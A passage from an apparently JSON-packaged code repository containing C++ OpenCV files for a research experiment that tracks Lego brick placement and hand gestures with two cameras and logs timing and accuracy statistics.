\"\n\t\t\t\t<< norm(legos2[q].center - firstLegos2[q].center) << endl;\n\t\tcout << \"Lego Number \" << legoNumber << \" angle \"\n\t\t\t\t<< fmod(abs(legos2[q].angle - firstLegos2[q].angle), 45)\n\t\t\t\t<< endl;\n\t\tlegoNumber++;\n\n\t\tdist2 += norm(legos2[q].center - firstLegos2[q].center);\n\t\tangle2 += fmod(abs(legos2[q].angle - firstLegos2[q].angle), 45);\n\t}\n\n\t//writes all the statistics\n\tfile << (dist + dist2) / 2 << \", \";\n\tfile << (angle + 2) / 2 << \", \";\n\tfile << still << \", \";\n\tfile << fine << \", \";\n\tfile << fast << \", \";\n\tcout << \"Distance Difference: \" << (dist + dist2) / 2 << endl;\n\tcout << \"Angle Difference: \" << (angle + angle2) / 2 << endl;\n\tfile\n\t\t\t<< (duration_cast<milliseconds>(\n\t\t\t\t\tsystem_clock::now().time_since_epoch()).count() - start2)\n\t\t\t\t\t/ 1000000000.0 << \", \";\n\tfile << memorizeTime << \", \";\n\tfile << start2 - memorizeTime << \", \";\n\tcout << start2 - memorizeTime << endl;\n\t;\n\tfile\n\t\t\t<< duration_cast<milliseconds>(\n\t\t\t\t\tsystem_clock::now().time_since_epoch()).count() << \", \";\n\tcout\n\t\t\t<< duration_cast<milliseconds>(\n\t\t\t\t\tsystem_clock::now().time_since_epoch()).count() << endl;\n\tcout << \"Time to Memorize: \" << memorizeTime << endl;\n\tcout << \"Time to Place: \"\n\t\t\t<< (duration_cast<milliseconds>(\n\t\t\t\t\tsystem_clock::now().time_since_epoch()).count() - start2)\n\t\t\t<< endl;\n\tcout << \"Still: \" << still << endl;\n\tcout << \"Fast: \" << fast << endl;\n\tcout << \"Fine: \" << fine << endl;\n\tlegoNumber = 0;\n\tfor (int i = 0; i < min(foundLegos.size(), foundLegos2.size()); i++) {\n\t\tcout << \"Lego Number \" << legoNumber << \" Variation Angle: \"\n\t\t\t\t<< (foundLegos[i].variationAngle + foundLegos2[i].variationAngle)\n\t\t\t\t\t\t/ 2 << endl;\n\t\tcout << \"Lego Number \" << legoNumber << \" Variation Distance: \"\n\t\t\t\t<< (foundLegos[i].variationDistance\n\t\t\t\t\t\t+ foundLegos2[i].variationDistance) / 2 << endl;\n\t\tcout << \"Lego Number \" << legoNumber << \" Closest Angle: \"\n\t\t\t\t<< (foundLegos[i].closestAngle + foundLegos2[i].closestAngle)\n\t\t\t\t\t\t/ 2 << endl;\n\t\tcout << \"Lego Number \" << legoNumber << \" Closest Distance: \"\n\t\t\t\t<< (foundLegos[i].closestDistance\n\t\t\t\t\t\t+ foundLegos2[i].closestDistance) / 2 << endl;\n\n\t\tcout << \"Lego Number \" << legoNumber << \" Initial Placement Time: \"\n\t\t\t\t<< (foundLegos[i].startTime - start2) << endl;\n\n\t\tfile\n\t\t\t\t<< (foundLegos[i].variationAngle + foundLegos2[i].variationAngle)\n\t\t\t\t\t\t/ 2 << \", \";\n\t\tfile\n\t\t\t\t<< (foundLegos[i].variationDistance\n\t\t\t\t\t\t+ foundLegos2[i].variationDistance) / 2 << \", \";\n\t\tfile << (foundLegos[i].closestAngle + foundLegos2[i].closestAngle) / 2\n\t\t\t\t<< \", \";\n\t\tfile\n\t\t\t\t<< (foundLegos[i].closestDistance\n\t\t\t\t\t\t+ foundLegos2[i].closestDistance) / 2 << \", \";\n\n\t\tfile << (foundLegos[i].startTime - start2) << \", \";\n\t\tlegoNumber++;\n\t}\n\tfile << endl;\n\timshow(\"Left Correction\", leftCorrection);\n\timshow(\"Right Correction\", rightCorrection);\n\twaitKey(0);\n}\n\nint main(int argc, char** argv) {\n\tcout << fixed;\n\t//setUpRasberry();\n\tvector<RotatedRect> firstlegos;\n\tvector<RotatedRect> firstlegos2;\n\twhile (true) {\n\t\tVideoCapture cap(0);\n\t\tVideoCapture cap2(1);\n\t\titerationOfExperiment++;\n\t\tvector<foundLego> foundLegos;\n\t\tvector<foundLego> foundLegos2;\n\t\tint count = 0;\n\t\tMyImage m(0);\n\t\tMyImage m2(1);\n\t\tHand hand;\n\t\tHand hand2;\n\t\tMat imgTmp;\n\t\tMat imgTmp2;\n\t\tsetupFindHand(&m);\n\t\tsetupFindHand2(&m2);\n\t\tcap2.read(imgTmp2);\n\t\tcap.read(imgTmp);\n\t\tbool newLegoPossible = false;\n\t\tvector<RotatedRect> prevLegos;\n\t\tvector<RotatedRect> prevLegos2;\n\t\tvector<RotatedRect> legos;\n\t\tvector<RotatedRect> legos2;\n\t\tvector<Scalar> color;\n\t\tvector<Scalar> prevColor;\n\t\tvector<Scalar> color2;\n\t\tvector<Scalar> prevColor2;\n\t\tbool legoPlaced;\n\t\twhile (true) {\n\t\t\tMat lines = Mat::zeros(imgTmp.size(), CV_8U);\n\t\t\tMat lines2 = Mat::zeros(imgTmp.size(), CV_8U);\n\t\t\tcvtColor(lines, lines, CV_GRAY2BGR);\n\t\t\tcvtColor(lines2, lines2, CV_GRAY2BGR);\n\n\t\t\tMat imgTmp;\n\t\t\tMat imgTmp2;\n\t\t\tcap.read(imgTmp);\n\t\t\tcap2.read(imgTmp2);\n\t\t\tMat grid = legoImageProcessing(imgTmp);\n\t\t\tMat grid2 = legoImageProcessing(imgTmp2);\n\n\t\t\timwrite(\"canny.jpg\", grid2);\n\n\t\t\tvector<vector<Point>> contours = getContours(grid);\n\t\t\tvector<vector<Point>> contours2 = getContours(grid2);\n\n\t\t\tvector<Scalar> color;\n\t\t\tvector<Scalar> color2;\n\n\t\t\t//Finds hand and draws\n\t\t\tfindHand(&m);\n\t\t\tfindHand2(&m2);\n\t\t\tupdateHand(&hand, getHG());\n\t\t\tupdateHand(&hand2, getHG2());\n\t\t\tdrawHandRectangle(&hand, &lines);\n\t\t\tdrawHandRectangle(&hand2, &lines2);\n\n\t\t\t//records movement types\n\t\t\tint movement = handMovementTracking(hand);\n\t\t\tif (movement == FINE) {\n\t\t\t\tfine++;\n\t\t\t} else if (movement == STILL) {\n\t\t\t\tstill++;\n\t\t\t} else if (movement == SPEEDY) {\n\t\t\t\tfast++;\n\t\t\t}\n\t\t\tbool temp = movement;\n\t\t\tmovement = handMovementTracking(hand2);\n\t\t\tif (movement == FINE) {\n\t\t\t\tfine++;\n\t\t\t} else if (movement == STILL) {\n\t\t\t\tstill++;\n\t\t\t} else if (movement == SPEEDY) {\n\t\t\t\tfast++;\n\t\t\t}\n\n\t\t\t//sends whether hand is in frame and receives whether the PI thinks a lego has been placed\n\t\t\t//legoPlaced = sendHandToRasberryPI(\n\t\t\t//\t\tmovement != STILL && temp != STILL);\n\t\t\t//if the hand isn't found then finds legos and calculates distance\n\t\t\tif (movement == STILL && temp == STILL) {\n\t\t\t\tif (!newLegoPossible) {\n\t\t\t\t\tnewLegoPossible = true;\n\t\t\t\t}\n\n\t\t\t\tfor (int i = 0; i < contours.size(); i++) {\n\t\t\t\t\tRotatedRect cur = minAreaRect(Mat(contours[i]));\n\t\t\t\t\tlegos.push_back(cur);\n\t\t\t\t}\n\t\t\t\tmaximizeCloseness(&legos, &prevLegos);\n\n\t\t\t\tfor (int i = 0; i < legos.size(); i++) {\n\t\t\t\t\tif (i >= prevLegos.size()) {\n\t\t\t\t\t\tScalar colorToDraw = Scalar(rand() % 205 + 50,\n\t\t\t\t\t\t\t\trand() % 205 + 50, rand() % 205 + 50);\n\t\t\t\t\t\tdrawLegos(legos[i], lines, colorToDraw);\n\t\t\t\t\t\tcolor.push_back(colorToDraw);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tdrawLegos(legos[i], lines, prevColor[i]);\n\t\t\t\t\t\tcolor.push_back(prevColor[i]);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfor (int i = 0; i < contours2.size(); i++) {\n\t\t\t\t\tRotatedRect cur = minAreaRect(Mat(contours2[i]));\n\t\t\t\t\tlegos2.push_back(cur);\n\t\t\t\t}\n\n\t\t\t\tmaximizeCloseness(&legos2, &prevLegos2);\n\n\t\t\t\tfor (int i = 0; i < legos2.size(); i++) {\n\t\t\t\t\tif (i >= prevLegos2.size()) {\n\t\t\t\t\t\tScalar colorToDraw = Scalar(rand() % 205 + 50,\n\t\t\t\t\t\t\t\trand() % 205 + 50, rand() % 205 + 50);\n\t\t\t\t\t\tdrawLegos(legos2[i], lines2, colorToDraw);\n\t\t\t\t\t\tcolor2.push_back(colorToDraw);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tdrawLegos(legos2[i], lines2, prevColor2[i]);\n\t\t\t\t\t\tcolor2.push_back(prevColor2[i]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n//\t\t\tputText(lines2,\n//\t\t\t\t\t\"guess: \"\n//\t\t\t\t\t\t\t+ to_string(\n//\t\t\t\t\t\t\t\t\t0.04676397\n//\t\t\t\t\t\t\t\t\t\t\t+ (177802.6 - 0.04676397)\n//\t\t\t\t\t\t\t\t\t\t\t\t\t/ (1\n//\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t+ pow(\n//\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t((cur.size.area())\n//\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/ 0.00005175283),\n//\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t0.5001077))),\n//\t\t\t\t\tcvPoint(legos2[i].center.x - 10, legos2[i].center.y - 10),\n//\t\t\t\t\tFONT_HERSHEY_COMPLEX_SMALL, 1.4, cvScalar(255, 255, 255), 1,\n//\t\t\t\t\tCV_AA);\n\n\t\t\timwrite(\"rects.jpg\", lines2);\n\t\t\tMat im3(lines.rows, lines.cols * 2, CV_8UC3);\n\t\t\tMat left(im3, Rect(0, 0, lines.cols, lines.rows));\n\t\t\tlines.copyTo(left);\n\t\t\tMat right(im3, Rect(lines.cols, 0, lines.cols, lines.rows));\n\t\t\tlines2.copyTo(right);\n\t\t\tstereoVision(legos, legos2, &color, &color2, im3);\n\n\t\t\t//updates vectors of legos\n\t\t\tif (movement == STILL && temp == STILL) {\n\t\t\t\tprevLegos = legos;\n\t\t\t\tprevColor = color;\n\t\t\t\tprevLegos2 = legos2;\n\t\t\t\tprevColor2 = color2;\n\t\t\t}\n\t\t\t//updates statistics\n\t\t\tif (count > 1 && newLegoPossible) {\n\t\t\t\tupdateFoundLegosStatistics(&prevLegos, &firstlegos, &foundLegos,\n\t\t\t\t\t\tlegoPlaced);\n\t\t\t\tupdateFoundLegosStatistics(&prevLegos2, &firstlegos2,\n\t\t\t\t\t\t&foundLegos2, legoPlaced);\n\t\t\t\tnewLegoPossible = false;\n\t\t\t}\n\t\t\tMat im4(im3.rows / 2, im3.cols / 2, CV_8UC3);\n\t\t\tresize(im3, im4, im4.size(), 0, 0, INTER_LINEAR);\n\n\t\t\tMat eraser(lines.rows, lines.cols, CV_8UC3);\n\n\t\t\tMat eraser2(lines.rows, lines.cols, CV_8UC3);\n\t\t\tMat rightCorrection(lines.rows, lines.cols, CV_8UC3);\n\t\t\tMat leftCorrection(lines.rows, lines.cols, CV_8UC3);\n\n\t\t\timwrite(\"cloud.jpg\", im4);\n\t\t\timshow(\"Cloud\", im4);\n\t\t\tif (waitKey(50) == char('q')) { //says user is finished placing legos\n\t\t\t\tshowCorrected(firstlegos, legos, firstlegos2, legos2,\n\t\t\t\t\t\tleftCorrection, rightCorrection, start, foundLegos,\n\t\t\t\t\t\tfoundLegos2);\n\n\t\t\t\tcout\n\t\t\t\t\t\t<< duration_cast<milliseconds>(\n\t\t\t\t\t\t\t\tsystem_clock::now().time_since_epoch()).count()\n\t\t\t\t\t\t<< endl;\n\t\t\t\tfast = 0;\n\t\t\t\tfine = 0;\n\t\t\t\tstill = 0;\n\t\t\t\tfoundLegosYet = false;\n\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif (count == 0) { //first time through loop waits for start\n\t\t\t\tauto memorizeTimeStart = duration_cast<milliseconds>(\n\t\t\t\t\t\tsystem_clock::now().time_since_epoch()).count();\n\t\t\t\tprevLegos.clear();\n\t\t\t\tprevLegos2.clear();\n\t\t\t\tprevColor.clear();\n\t\t\t\tprevColor2.clear();\n\t\t\t\tif (iterationOfExperiment != 1) { //if it's not the first time through then wait 10 seconds\n\n\t\t\t\t\tcout\n\t\t\t\t\t\t\t<< duration_cast<milliseconds>(\n\t\t\t\t\t\t\t\t\tsystem_clock::now().time_since_epoch()).count()\n\t\t\t\t\t\t\t<< endl;\n\t\t\t\t\tstart = duration_cast<milliseconds>(\n\t\t\t\t\t\t\tsystem_clock::now().time_since_epoch()).count();\n\t\t\t\t\twaitKey(10000);\n\t\t\t\t\tcout << \"Begin\" << endl;\n\t\t\t\t} else { //calculates time to memorize\n\t\t\t\t\twaitKey(0);\n\t\t\t\t\tmemorizeTime = duration_cast<milliseconds>(\n\t\t\t\t\t\t\tsystem_clock::now().time_since_epoch()).count()\n\t\t\t\t\t\t\t- memorizeTimeStart;\n\t\t\t\t\t;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t//only on the first round records initial setup\n\t\t\tif (count == 1 && iterationOfExperiment == 1) {\n\t\t\t\tfor (int s = 0; s < legos.size(); s++) {\n\t\t\t\t\tfirstlegos.push_back(legos[s]);\n\t\t\t\t}\n\t\t\t\tfor (int s = 0; s < legos2.size(); s++) {\n\t\t\t\t\tfirstlegos2.push_back(legos2[s]);\n\t\t\t\t}\n\t\t\t\twaitKey(15000);\n\n\t\t\t\tstart = duration_cast<milliseconds>(\n\t\t\t\t\t\tsystem_clock::now().time_since_epoch()).count();\n\t\t\t\tcout << \"Begin\" << endl;\n\t\t\t\tprevLegos.clear();\n\t\t\t\tprevLegos2.clear();\n\t\t\t\tprevColor.clear();\n\t\t\t\tprevColor2.clear();\n\t\t\t}\n\t\t\tcount++;\n\t\t\tcolor.clear();\n\t\t\tlegos.clear();\n\t\t\tcolor2.clear();\n\t\t\tlegos2.clear();\n\t\t\theight.clear();\n//\t\tcout << \"Time: \"\n//\t\t\t\t<< chrono::milliseconds(end2 - start2).count() / 1000000000.0\n//\t\t\t\t<< endl;\n\t\t}\n\t\tcvDestroyAllWindows();\n\t}\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.5602589845657349, "alphanum_fraction": 0.6114541888237, "avg_line_length": 26.356948852539062, "blob_id": "e5d0ebb4801676794410d6eff14870fbe037e31a", "content_id": "a68f0b15cff5c3b544f2f4109715290554ed8bed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10040, "license_type": "no_license", "max_line_length": 101, "num_lines": 367, "path": "/main2.cpp", "repo_name": "Logan-Peters/UCLA-REU-Code", "src_encoding": "UTF-8", "text": "#include \"main2.hpp\"\n\n#include <opencv2/core/base.hpp>\n#include <opencv2/core/hal/interface.h>\n#include <opencv2/core/mat.hpp>\n#include <opencv2/core/mat.inl.hpp>\n#include <opencv2/core/matx.hpp>\n#include <opencv2/core/operations.hpp>\n#include <opencv2/core/types.hpp>\n#include <opencv2/core.hpp>\n#include <opencv2/highgui/highgui_c.h>\n#include <opencv2/highgui.hpp>\n#include <opencv2/imgproc/types_c.h>\n#include <opencv2/imgproc.hpp>\n#include <opencv2/video/tracking.hpp>\n#include <opencv2/videoio/videoio_c.h>\n#include <opencv2/videoio.hpp>\n#include <stddef.h>\n#include <algorithm>\n#include <iterator>\n#include <vector>\n\n#include \"handGesture.hpp\"\n#include \"myImage.hpp\"\n#include \"roi.hpp\"\n\nusing namespace cv;\nusing namespace std;\n\n/* Global Variables */\nint fontFace2 = FONT_HERSHEY_PLAIN;\nint square_len2;\nint avgColor2[NSAMPLES][3];\nint c_lower2[NSAMPLES][3];\nint c_upper2[NSAMPLES][3];\nint avgBGR2[3];\nint nrOfDefects2;\nint iSinceKFInit2;\nHandGesture hg2;\nstruct dim2 {\n\tint w;\n\tint h;\n} boundingDim2;\nVideoWriter out2;\nMat edges2;\nMy_ROI roi12, roi22, roi32, roi42, roi52, roi62;\nvector<My_ROI> roi222;\nvector<KalmanFilter> kf2;\nvector<Mat_<float> > measurement2;\n\n/* end global variables */\n\nvoid init2(MyImage *m) {\n\tsquare_len2 = 20;\n\tiSinceKFInit2 = 0;\n}\n\n// change a color from one space to another\nvoid col2origCol2(int hsv[3], int bgr[3], Mat src) {\n\tMat avgBGRMat = src.clone();\n\tfor (int i = 0; i < 3; i++) {\n\t\tavgBGRMat.data[i] = hsv[i];\n\t}\n\tcvtColor(avgBGRMat, avgBGRMat, COL2ORIGCOL);\n\tfor (int i = 0; i < 3; i++) {\n\t\tbgr[i] = avgBGRMat.data[i];\n\t}\n}\n\nvoid printText2(Mat src, string text) {\n\tint fontFace = FONT_HERSHEY_PLAIN;\n\tputText(src, text, Point(src.cols / 2, src.rows / 10), fontFace, 1.2f,\n\t\t\tScalar(200, 0, 0), 2);\n}\n\nvoid waitForPalmCover2(MyImage* m) {\n\tm->cap >> m->src;\n\tflip(m->src, m->src, 1);\n\troi222.push_back(\n\t\t\tMy_ROI(Point(m->src.cols / 3, m->src.rows / 6),\n\t\t\t\t\tPoint(m->src.cols / 3 + square_len2,\n\t\t\t\t\t\t\tm->src.rows / 6 + square_len2), m->src));\n\troi222.push_back(\n\t\t\tMy_ROI(Point(m->src.cols / 4, m->src.rows / 2),\n\t\t\t\t\tPoint(m->src.cols / 4 + square_len2,\n\t\t\t\t\t\t\tm->src.rows / 2 + square_len2), m->src));\n\troi222.push_back(\n\t\t\tMy_ROI(Point(m->src.cols / 3, m->src.rows / 1.5),\n\t\t\t\t\tPoint(m->src.cols / 3 + square_len2,\n\t\t\t\t\t\t\tm->src.rows / 1.5 + square_len2), m->src));\n\troi222.push_back(\n\t\t\tMy_ROI(Point(m->src.cols / 2, m->src.rows / 2),\n\t\t\t\t\tPoint(m->src.cols / 2 + square_len2,\n\t\t\t\t\t\t\tm->src.rows / 2 + square_len2), m->src));\n\troi222.push_back(\n\t\t\tMy_ROI(Point(m->src.cols / 2.5, m->src.rows / 2.5),\n\t\t\t\t\tPoint(m->src.cols / 2.5 + square_len2,\n\t\t\t\t\t\t\tm->src.rows / 2.5 + square_len2), m->src));\n\troi222.push_back(\n\t\t\tMy_ROI(Point(m->src.cols / 2, m->src.rows / 1.5),\n\t\t\t\t\tPoint(m->src.cols / 2 + square_len2,\n\t\t\t\t\t\t\tm->src.rows / 1.5 + square_len2), m->src));\n\troi222.push_back(\n\t\t\tMy_ROI(Point(m->src.cols / 2.5, m->src.rows / 1.8),\n\t\t\t\t\tPoint(m->src.cols / 2.5 + square_len2,\n\t\t\t\t\t\t\tm->src.rows / 1.8 + square_len2), m->src));\n\n\tfor (int i = 0; i < 50; i++) {\n\t\tm->cap >> m->src;\n\t\tflip(m->src, m->src, 1);\n\t\tfor (int j = 0; j < NSAMPLES; j++) {\n\t\t\troi222[j].draw_rectangle(m->src);\n\t\t}\n\t\tstring imgText = string(\"Cover rectangles with palm\");\n\t\tprintText2(m->src, imgText);\n\n\t\tif (i == 30) {\n\t\t\t//\timwrite(\"./images/waitforpalm1.jpg\",m->src);\n\t\t}\n\n\t\timshow(\"img1\", m->src);\n\t\tout2 << m->src;\n\t\tif (cv::waitKey(30) >= 0)\n\t\t\tbreak;\n\t}\n}\n\nint getMedian2(vector<int> val) {\n\tint median;\n\tsize_t size = val.size();\n\tsort(val.begin(), val.end());\n\tif (size % 2 == 0) {\n\t\tmedian = val[size / 2 - 1];\n\t} else {\n\t\tmedian = val[size / 2];\n\t}\n\treturn median;\n}\n\nvoid getAvgColor2(MyImage *m, My_ROI roi, int avg[3]) {\n\tMat r;\n\troi.roi_ptr.copyTo(r);\n\tvector<int> hm;\n\tvector<int> sm;\n\tvector<int> lm;\n\t// generate vectors\n\tfor (int i = 2; i < r.rows - 2; i++) {\n\t\tfor (int j = 2; j < r.cols - 2; j++) {\n\t\t\thm.push_back(r.data[r.channels() * (r.cols * i + j) + 0]);\n\t\t\tsm.push_back(r.data[r.channels() * (r.cols * i + j) + 1]);\n\t\t\tlm.push_back(r.data[r.channels() * (r.cols * i + j) + 2]);\n\t\t}\n\t}\n\tavg[0] = getMedian2(hm);\n\tavg[1] = getMedian2(sm);\n\tavg[2] = getMedian2(lm);\n}\n\nvoid average2(MyImage *m) {\n\tm->cap >> m->src;\n\tflip(m->src, m->src, 1);\n\tfor (int i = 0; i < 30; i++) {\n\t\tm->cap >> m->src;\n\t\tflip(m->src, m->src, 1);\n\t\tcvtColor(m->src, m->src, ORIGCOL2COL);\n\t\tfor (int j = 0; j < NSAMPLES; j++) {\n\t\t\tgetAvgColor2(m, roi222[j], avgColor2[j]);\n\t\t\troi222[j].draw_rectangle(m->src);\n\t\t}\n\t\tcvtColor(m->src, m->src, COL2ORIGCOL);\n\t\tstring imgText = string(\"Finding average color of hand\");\n\t\tprintText2(m->src, imgText);\n\t\timshow(\"img1\", m->src);\n\t\tif (cv::waitKey(30) >= 0)\n\t\t\tbreak;\n\t}\n}\n\nvoid initTrackbars2() {\n\tfor (int i = 0; i < NSAMPLES; i++) {\n\t\tc_lower2[i][0] = 12;\n\t\tc_upper2[i][0] = 7;\n\t\tc_lower2[i][1] = 30;\n\t\tc_upper2[i][1] = 40;\n\t\tc_lower2[i][2] = 80;\n\t\tc_upper2[i][2] = 80;\n\t}\n\tcreateTrackbar(\"lower1\", \"trackbars\", &c_lower2[0][0], 255);\n\tcreateTrackbar(\"lower2\", \"trackbars\", &c_lower2[0][1], 255);\n\tcreateTrackbar(\"lower3\", \"trackbars\", &c_lower2[0][2], 255);\n\tcreateTrackbar(\"upper1\", \"trackbars\", &c_upper2[0][0], 255);\n\tcreateTrackbar(\"upper2\", \"trackbars\", &c_upper2[0][1], 255);\n\tcreateTrackbar(\"upper3\", \"trackbars\", &c_upper2[0][2], 255);\n}\n\nvoid normalizeColors2(MyImage * myImage) {\n\t// copy all boundries read from trackbar\n\t// to all of the different boundries\n\tfor (int i = 1; i < NSAMPLES; i++) {\n\t\tfor (int j = 0; j < 3; j++) {\n\t\t\tc_lower2[i][j] = c_lower2[0][j];\n\t\t\tc_upper2[i][j] = c_upper2[0][j];\n\t\t}\n\t}\n\t// normalize all boundries so that\n\t// threshold is whithin 0-255\n\tfor (int i = 0; i < NSAMPLES; i++) {\n\t\tif ((avgColor2[i][0] - c_lower2[i][0]) < 0) {\n\t\t\tc_lower2[i][0] = avgColor2[i][0];\n\t\t}\n\t\tif ((avgColor2[i][1] - c_lower2[i][1]) < 0) {\n\t\t\tc_lower2[i][1] = avgColor2[i][1];\n\t\t}\n\t\tif ((avgColor2[i][2] - c_lower2[i][2]) < 0) {\n\t\t\tc_lower2[i][2] = avgColor2[i][2];\n\t\t}\n\t\tif ((avgColor2[i][0] + c_upper2[i][0]) > 255) {\n\t\t\tc_upper2[i][0] = 255 - avgColor2[i][0];\n\t\t}\n\t\tif ((avgColor2[i][1] + c_upper2[i][1]) > 255) {\n\t\t\tc_upper2[i][1] = 255 - avgColor2[i][1];\n\t\t}\n\t\tif ((avgColor2[i][2] + c_upper2[i][2]) > 255) {\n\t\t\tc_upper2[i][2] = 255 - avgColor2[i][2];\n\t\t}\n\t}\n}\n\nHandGesture getHG2(){\n\treturn hg2;\n}\n\nvoid produceBinaries2(MyImage *m) {\n\tMat foo;\n\t\tm->bwList.push_back(Mat(m->srcLR.rows, m->srcLR.cols, CV_8U));\n\t\tinRange(m->srcLR, Scalar(80, 20, 20), Scalar(220, 260, 260), m->bwList[0]);\n\n\n\tm->bwList[0].copyTo(m->bw);\n\tm->bw += m->bwList[0];\n\tmedianBlur(m->bw, m->bw, 7);\n}\n\nvoid initWindows2(MyImage m) {\n\tnamedWindow(\"trackbars\", CV_WINDOW_KEEPRATIO);\n\tnamedWindow(\"img1\", CV_WINDOW_FULLSCREEN);\n}\n\nvoid showWindows2(MyImage m) {\n\tpyrDown(m.bw, m.bw);\n\tpyrDown(m.bw, m.bw);\n\tRect roi(Point(3 * m.src.cols / 4, 0), m.bw.size());\n\tvector<Mat> channels;\n\tMat result;\n\tfor (int i = 0; i < 3; i++)\n\t\tchannels.push_back(m.bw);\n\tmerge(channels, result);\n\tresult.copyTo(m.src(roi));\n\timshow(\"img2\", m.src);\n}\n\nint findBiggestContour2(vector<vector<Point> > contours) {\n\tint indexOfBiggestContour = -1;\n\tint sizeOfBiggestContour = 0;\n\tfor (int i = 0; i < contours.size(); i++) {\n\t\tif (contours[i].size() > sizeOfBiggestContour) {\n\t\t\tsizeOfBiggestContour = contours[i].size();\n\t\t\tindexOfBiggestContour = i;\n\t\t}\n\t}\n\treturn indexOfBiggestContour;\n}\n\nvoid myDrawContours2(MyImage *m, HandGesture *hg) {\n\tdrawContours(m->src, hg->hullP, hg->cIdx, cv::Scalar(200, 0, 0), 2, 8,\n\t\t\tvector<Vec4i>(), 0, Point());\n\n\trectangle(m->src, hg->bRect.tl(), hg->bRect.br(), Scalar(0, 0, 200));\n\tvector<Vec4i>::iterator d = hg->defects[hg->cIdx].begin();\n\tint fontFace = FONT_HERSHEY_PLAIN;\n\n\tvector<Mat> channels;\n\tMat result;\n\tfor (int i = 0; i < 3; i++)\n\t\tchannels.push_back(m->bw);\n\tmerge(channels, result);\n\t//\tdrawContours(result,hg->contours,hg->cIdx,cv::Scalar(0,200,0),6, 8, vector<Vec4i>(), 0, Point());\n\tdrawContours(result, hg->hullP, hg->cIdx, cv::Scalar(0, 0, 250), 10, 8,\n\t\t\tvector<Vec4i>(), 0, Point());\n\n\twhile (d != hg->defects[hg->cIdx].end()) {\n\t\tVec4i& v = (*d);\n\t\tint startidx = v[0];\n\t\tPoint ptStart(hg->contours[hg->cIdx][startidx]);\n\t\tint endidx = v[1];\n\t\tPoint ptEnd(hg->contours[hg->cIdx][endidx]);\n\t\tint faridx = v[2];\n\t\tPoint ptFar(hg->contours[hg->cIdx][faridx]);\n\t\tfloat depth = v[3] / 256;\n\t\t/*\n\t\t line( m->src, ptStart, ptFar, Scalar(0,255,0), 1 );\n\t\t line( m->src, ptEnd, ptFar, Scalar(0,255,0), 1 );\n\t\t circle( m->src, ptFar, 4, Scalar(0,255,0), 2 );\n\t\t circle( m->src, ptEnd, 4, Scalar(0,0,255), 2 );\n\t\t circle( m->src, ptStart, 4, Scalar(255,0,0), 2 );\n\t\t */\n\t\tcircle(result, ptFar, 9, Scalar(0, 205, 0), 5);\n\n\t\td++;\n\n\t}\n//\timwrite(\"./images/contour_defects_before_eliminate.jpg\",result);\n\n}\n\nvoid makeContours2(MyImage *m, HandGesture* hg) {\n\tMat aBw;\n\tpyrUp(m->bw, m->bw);\n\tm->bw.copyTo(aBw);\n\tfindContours(aBw, hg->contours, CV_RETR_EXTERNAL, CV_CHAIN_APPROX_NONE);\n\thg->initVectors();\n\thg->cIdx = findBiggestContour2(hg->contours);\n\tif (hg->cIdx != -1) {\n//\t\tapproxPolyDP( Mat(hg->contours[hg->cIdx]), hg->contours[hg->cIdx], 11, true );\n\t\thg->bRect = boundingRect(Mat(hg->contours[hg->cIdx]));\n\t\tconvexHull(Mat(hg->contours[hg->cIdx]), hg->hullP[hg->cIdx], false,\n\t\t\t\ttrue);\n\t\tconvexHull(Mat(hg->contours[hg->cIdx]), hg->hullI[hg->cIdx], false,\n\t\t\t\tfalse);\n\t\tapproxPolyDP(Mat(hg->hullP[hg->cIdx]), hg->hullP[hg->cIdx], 18, true);\n\t\tif (hg->contours[hg->cIdx].size() > 3) {\n\t\t\tconvexityDefects(hg->contours[hg->cIdx], hg->hullI[hg->cIdx],\n\t\t\t\t\thg->defects[hg->cIdx]);\n\t\t\thg->eleminateDefects(m);\n\t\t}\n\t\tbool isHand = hg->detectIfHand();\n\t\thg->printGestureInfo(m->src);\n\t\tif (isHand) {\n\t\t\thg->getFingerTips(m);\n\t\t\thg->drawFingerTips(m);\n\t\t\tmyDrawContours2(m, hg);\n\t\t}\n\t}\n\telse{\n\t\thg->bRect = Rect(0,0,0,0);\n\t}\n}\n\nvoid setupFindHand2(MyImage *m) {\n\tinit2(m);\n}\n\nvoid findHand2(MyImage *m){\n\thg2.frameNumber++;\n\tflip(m->src, m->src, 1);\n\tm->cap >> m->src;\n\tpyrDown(m->src, m->srcLR);\n\tblur(m->srcLR, m->srcLR, Size(3, 3));\n\tcvtColor(m->srcLR, m->srcLR, ORIGCOL2COL);\n\tproduceBinaries2(m);\n\tcvtColor(m->srcLR, m->srcLR, COL2ORIGCOL);\n\tmakeContours2(m, &hg2);\n\thg2.getFingerNumber(m);\n\tshowWindows2(*m);\n\tout2 << m->src;\n\n}\n" }, { "alpha_fraction": 0.6086224317550659, "alphanum_fraction": 0.6406197547912598, "avg_line_length": 29.285715103149414, "blob_id": "884c821805ed4eb862be4f19a0feeca8dcb7a76b", "content_id": "4aab53da2d7e6f81464d19337e3223ea16b56598", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2969, "license_type": "no_license", "max_line_length": 76, "num_lines": 98, "path": "/PointPolygonInteresector.cpp", "repo_name": "Logan-Peters/UCLA-REU-Code", "src_encoding": "UTF-8", "text": "// A C++ program to check if a given cv::Point lies inside a given polygon\n\n#include \"PointPolygonInteresector.hpp\"\n\n#include <algorithm>\n#include <iostream>\n\nusing namespace cv;\n\nusing namespace std;\n// Define Infinite (Using INT_MAX caused overflow problems)\n#define INF 10000\n\n// Given three colinear cv::Points p, q, r, the function checks if\n// cv::Point q lies on line segment 'pr'\nbool onSegment(cv::Point p, cv::Point q, cv::Point r) {\n\tif (q.x <= max(p.x, r.x) && q.x >= min(p.x, r.x) && q.y <= max(p.y, r.y)\n\t\t\t&& q.y >= min(p.y, r.y))\n\t\treturn true;\n\treturn false;\n}\n\n// To find orientation of ordered triplet (p, q, r).\n// The function returns following values\n// 0 --> p, q and r are colinear\n// 1 --> 